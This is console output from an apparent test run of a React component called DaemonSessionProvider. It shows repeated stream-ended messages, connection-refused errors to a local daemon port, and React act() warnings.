stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not revive settled restored active prompts after SSE reconnect
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not revive settled restored active prompts after SSE reconnect
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > reloads restored active prompts after epoch reset
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears restored active prompts when epoch reload is idle
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after retriable SSE errors
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=session-1)
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after retriable SSE errors
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps locally submitted prompts active after retriable SSE errors
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=session-1)
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps locally submitted prompts active after retriable SSE errors
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after resync requests
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not infer active prompts from replayed user turns without terminal events
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > finishes replayed assistant streaming when replay ends with turn_error
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > finishes each completed turn in replay snapshots
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not let replay state events overwrite fresh connection status
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses providers current model when session context has no model
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > seeds tokenCount from the latest replay usage on attach
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps the in-memory tokenCount across SSE re-subscribe when replay has no usage
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps the in-memory tokenCount across SSE re-subscribe when replay has no usage
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > resets tokenCount when reconnect attaches a different session without replay usage
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > resets tokenCount when reconnect attaches a different session without replay usage
[DaemonSessionProvider] terminal session error (sessionId=session-usage-a, status=404, message=missing session)
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > finishes passive assistant streaming when no prompt action is active
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > finishes replayed assistant streaming when replay completes
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > creates a fresh thread session without cancelling the previous session
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > creates a fresh thread session without cancelling the previous session
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > creates a session from the active session client when already attached
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears the current session without creating a replacement session
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps preserved commands when the next supported-commands fetch fails
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > ignores streamed events from a session after it is cleared
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses session-scoped client IDs when switching between loaded sessions
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses session-scoped client IDs when switching between loaded sessions
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses recent HTTP status when heartbeat threshold ends with transport failure
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > preserves missing-session heartbeat status across later HTTP failures
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > rejects interrupted session loads as AbortError during cleanup
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=undefined)
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps the current transcript when a same-session reload is aborted
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears transcript immediately for default session switches
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to DaemonSessionProvider inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not retry a failed controlled session load until the host changes it
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=undefined)
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears the session when reconnect is disabled after SSE stream end
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
